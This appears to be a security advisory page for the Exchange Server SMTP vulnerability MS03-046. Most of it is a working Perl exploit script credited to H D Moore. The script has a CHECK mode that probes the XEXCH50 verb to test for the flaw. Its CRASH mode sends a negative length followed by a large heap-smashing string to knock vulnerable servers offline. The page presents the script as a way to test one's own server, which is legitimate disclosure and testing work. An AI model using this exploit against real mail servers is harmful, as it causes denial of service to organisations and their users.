|
|
|
|
| |
| As we reported in our previous article Vulnerability in Exchange Server Could Allow Arbitrary Code Execution (MS03-046), a vulnerability in the Exchange Server allows remote attackers to cause the Exchange Server to execute arbitrary code. The following exploit code can be used to test your server for the mentioned vulnerability (It causes a denial of service on vulnerable servers).
|
| |
Credit:
The information has been provided by H D Moore.
|
| |
Exploit:
#!/usr/bin/perl -w
##################
##
# ms03-046.pl - hdm[at]metasploit.com
##
use strict;
use IO::Socket;
my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;
if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }
usage();
sub check
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}
print $s "XEXCH50 2 2\r\n";
my $res = <$s>;
close ($s);
# a patched server only allows XEXCH50 after NTLM authentication
if ($res =~ /authentication/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}
print "[*] This system is vulnerable: $host:$port\n";
exit(0);
}
sub crash
{
my $s = SMTP($host, $port);
if (! $s)
{
print "[*] Error establishing connection to SMTP service.\n";
exit(0);
}
# the negative value allows us to overwrite random heap bits
print $s "XEXCH50 -1 2\r\n";
my $res = <$s>;
# a patched server only allows XEXCH50 after NTLM authentication
if ($res =~ /authentication/i)
{
print "[*] This server has been patched or is not vulnerable.\n";
exit(0);
}
print "[*] Sending massive heap-smashing string...\n";
print $s ("META" x 16384);
# sometimes a second connection is required to trigger the crash
$s = SMTP($host, $port);
exit(0);
}
sub usage
{
print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
exit(0);
}
sub SMTP
{
my ($host, $port) = @_;
my $s = IO::Socket::INET->new
(
PeerAddr => $host,
PeerPort => $port,
Proto => "tcp"
) || return(undef);
my $r = <$s>;
return undef if !$r;
if ($r !~ /Microsoft/)
{
chomp($r);
print STDERR "[*] This does not look like an exchange server: $r\n";
return(undef);
}
print $s "HELO X\r\n";
$r = <$s>;
return undef if !$r;
print $s "MAIL FROM: DoS\r\n";
$r = <$s>;
return undef if !$r;
print $s "RCPT TO: Administrator\r\n";
$r = <$s>;
return undef if !$r;
return($s);
}
|
|
|
